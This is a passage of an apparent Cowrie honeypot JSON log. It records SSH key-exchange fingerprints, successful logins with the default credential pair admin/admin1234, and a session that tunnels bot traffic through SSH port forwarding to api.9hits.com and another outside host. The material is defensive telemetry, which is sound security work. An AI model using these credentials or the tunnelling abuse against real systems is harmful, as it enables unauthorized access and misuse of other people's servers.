384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:21.244085Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:22.420893Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:23.031561Z","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:23.064517Z","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.46001362800598,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:23.286728Z","src_ip":"172.81.62.90","session":"fc063385b34f","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:23.322414Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/74.0 Mobile/15B150 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1196\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=b24md3VNSU9KcXNtcDhtTQ%3D%3DaZlTlK2MGFCZhdGQHLcnhg904NpuCybSAzfugKNlFDPWWJNPVCMTJfM9Y5kBEuMtH%2BUK2Swzv%2BXgNYy%2FCs9GY5ej4Gk1%2FMcFShl%2FBFxmm%2BAUZkmzwXffCDa5cu%2BTy%2FVTzYGZdYUks5gEcCvTUjapQLYsh6u278%2FLvZvP1QrDjJurAGeh4fz3jiIdCXc7GI1MuV3X4RnAtfb8ZGoZWhypIog1tTnMnl5wJmTXWPsV3cBPHLxa7JJgamBJYGORrIqJlZbjZzKgyy3Sbu%2FBIZvBJ%2B%2F1Cn7I%2FjOCj3mZs19exnEhraznQYtxls29wBGdsQEG4LYT5pJZIr%2BGaDeSU3LpU7Qn8Lkns%2BkxIi9ppG2j%2Fg7FeJhynn2SmnfFIs7%2FYSxDs4KajvNQgIpBKtLiU1N%2BIghOF9KSYFOazi2c78tKScmbjVrJwmmagSuphEhDRvIPRIfvo%2BWHjOVl6toDGPJE6jYk8QGquxwuX%2BXOHyH5D1QcNbwGpuP3CdBfq%2Ba2XoYTeBYNRxWyybTrSYePSXyVpL1lgzxHulAu1RR4%2FNz63KftZbDRoyPFVlBlYbZO22UWbbD5ZO8BvYk%2Fhg5MEMt%2BcpTwSrWRCQmEJSG%2BZf8O9cq35cz4sDWyRKEoYuKUxwKVFEQC%2BuBXmN%2BUqhKWpHAM0FrxoK292Tm7blVBCqEylqz4sQp2bkHnj2q8j6NS1nv9gQfrnFwpdrbCnKQjd4shzEIFPA1Mkaaq2u%2FRtNIBbTcyovUiX5xE56o8JIPO8svrb1EcCtZ0wPWMh0Mi5qN3gXlpXCWV9y2tLHpdi32TYJPYnQXlEvI%2BbT0RSpjZ2EVi9Ne4Oeaz%2BVkoSbFnSKbF%2FhKwMxGk9OO%2BSqZ4wiBgHeEmGFqGi%2BFFJdxGy62EVYPQpZRAlAiVq6Ev4tMUWwj9vHf%2F8Vipn9c6xkVkMZXimJTiYBFHdSl%2FvN9ha8unydh7bgTjONX7Ls%2FIP%2Fmm6yL3DoHGOMgoeBR25WQ%2B07hYON0MPzWtUah9jhOMEFDdcRJZLbMrlIvs20PsbqAoIwm1KNljz%2BsiKGFnrKAi4kwVhQEXLLrlTRvNgEwno3iAC0BT'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/74.0 Mobile/15B150 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1196\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=b24md3VNSU9KcXNtcDhtTQ%3D%3DaZlTlK2MGFCZhdGQHLcnhg904NpuCybSAzfugKNlFDPWWJNPVCMTJfM9Y5kBEuMtH%2BUK2Swzv%2BXgNYy%2FCs9GY5ej4Gk1%2FMcFShl%2FBFxmm%2BAUZkmzwXffCDa5cu%2BTy%2FVTzYGZdYUks5gEcCvTUjapQLYsh6u278%2FLvZvP1QrDjJurAGeh4fz3jiIdCXc7GI1MuV3X4RnAtfb8ZGoZWhypIog1tTnMnl5wJmTXWPsV3cBPHLxa7JJgamBJYGORrIqJlZbjZzKgyy3Sbu%2FBIZvBJ%2B%2F1Cn7I%2FjOCj3mZs19exnEhraznQYtxls29wBGdsQEG4LYT5pJZIr%2BGaDeSU3LpU7Qn8Lkns%2BkxIi9ppG2j%2Fg7FeJhynn2SmnfFIs7%2FYSxDs4KajvNQgIpBKtLiU1N%2BIghOF9KSYFOazi2c78tKScmbjVrJwmmagSuphEhDRvIPRIfvo%2BWHjOVl6toDGPJE6jYk8QGquxwuX%2BXOHyH5D1QcNbwGpuP3CdBfq%2Ba2XoYTeBYNRxWyybTrSYePSXyVpL1lgzxHulAu1RR4%2FNz63KftZbDRoyPFVlBlYbZO22UWbbD5ZO8BvYk%2Fhg5MEMt%2BcpTwSrWRCQmEJSG%2BZf8O9cq35cz4sDWyRKEoYuKUxwKVFEQC%2BuBXmN%2BUqhKWpHAM0FrxoK292Tm7blVBCqEylqz4sQp2bkHnj2q8j6NS1nv9gQfrnFwpdrbCnKQjd4shzEIFPA1Mkaaq2u%2FRtNIBbTcyovUiX5xE56o8JIPO8svrb1EcCtZ0wPWMh0Mi5qN3gXlpXCWV9y2tLHpdi32TYJPYnQXlEvI%2BbT0RSpjZ2EVi9Ne4Oeaz%2BVkoSbFnSKbF%2FhKwMxGk9OO%2BSqZ4wiBgHeEmGFqGi%2BFFJdxGy62EVYPQpZRAlAiVq6Ev4tMUWwj9vHf%2F8Vipn9c6xkVkMZXimJTiYBFHdSl%2FvN9ha8unydh7bgTjONX7Ls%2FIP%2Fmm6yL3DoHGOMgoeBR25WQ%2B07hYON0MPzWtUah9jhOMEFDdcRJZLbMrlIvs20PsbqAoIwm1KNljz%2BsiKGFnrKAi4kwVhQEXLLrlTRvNgEwno3iAC0BT'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:23.326161Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:23.594228Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8eA\\xe2fB\\xda\\xf0\\x10\\x12\\xf2\\xfbX\\x8e\\xfchk\\xf5\\x99\\xc2\\x99\\t<\\xc2c\\xdb\\xc3\\xea\\xce.#$\\x01 (\\x0e\\xf3(\\xb4\\xc2\\x9c\\xed[-\\xa0\\x1c\\xb3j\\xc7%\\xa4\\xac\\xec\\xe6\\xb1\\x07\\xc7\\xdc\\xbfT\\xc2\\xab\\xae\\xb5S\\n\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xab\\xa9\\x9d\\x88CvR\\xbb\\xd1\\x10\\xbe\\xfd\\xd2\\xd3Y\\x16\\xd9\\x8d\\x00Ma\\xf8{X~\\x93\\xcd\\x00\\xa8Q\\t#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8eA\\xe2fB\\xda\\xf0\\x10\\x12\\xf2\\xfbX\\x8e\\xfchk\\xf5\\x99\\xc2\\x99\\t<\\xc2c\\xdb\\xc3\\xea\\xce.#$\\x01 (\\x0e\\xf3(\\xb4\\xc2\\x9c\\xed[-\\xa0\\x1c\\xb3j\\xc7%\\xa4\\xac\\xec\\xe6\\xb1\\x07\\xc7\\xdc\\xbfT\\xc2\\xab\\xae\\xb5S\\n\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xab\\xa9\\x9d\\x88CvR\\xbb\\xd1\\x10\\xbe\\xfd\\xd2\\xd3Y\\x16\\xd9\\x8d\\x00Ma\\xf8{X~\\x93\\xcd\\x00\\xa8Q\\t#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:23.597312Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:24.139063Z","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:24.416235Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xc5\\xb5:\\xaa$%\\xa6{*MXA$\\xd8w\\xaaE\\xd7P\\xf1\\xb8\\xc6<\\xdc\\x0f\\xa4\\xa6\\x9fpF[ s7\\xe2\\xddEU\\xc8Wv\\xcc\\xb7\\xee\\x00\\r\\x8ck\\xfe?}[\\xe5\\xb7\\xa3f\\xd7\\x88#N\\x08\\xe4\\xef\\xef\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04B\\xfb^tz\\xdc\\xd3\\xac\\xf7\\xe9I\\x99\\xd5\\xd1L K\\xc3Y\\x9eSz.\\xacZ\\xd5O\\xba#\\xd5E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xc5\\xb5:\\xaa$%\\xa6{*MXA$\\xd8w\\xaaE\\xd7P\\xf1\\xb8\\xc6<\\xdc\\x0f\\xa4\\xa6\\x9fpF[ s7\\xe2\\xddEU\\xc8Wv\\xcc\\xb7\\xee\\x00\\r\\x8ck\\xfe?}[\\xe5\\xb7\\xa3f\\xd7\\x88#N\\x08\\xe4\\xef\\xef\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04B\\xfb^tz\\xdc\\xd3\\xac\\xf7\\xe9I\\x99\\xd5\\xd1L K\\xc3Y\\x9eSz.\\xacZ\\xd5O\\xba#\\xd5E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:24.418844Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:24.877887Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58689,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2267248c49","protocol":"ssh","message":"New connection: 123.27.168.40:58689 (10.17.0.5:22) [session: 6a2267248c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:30.756204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:30.771053Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:31.021759Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:32.164772Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
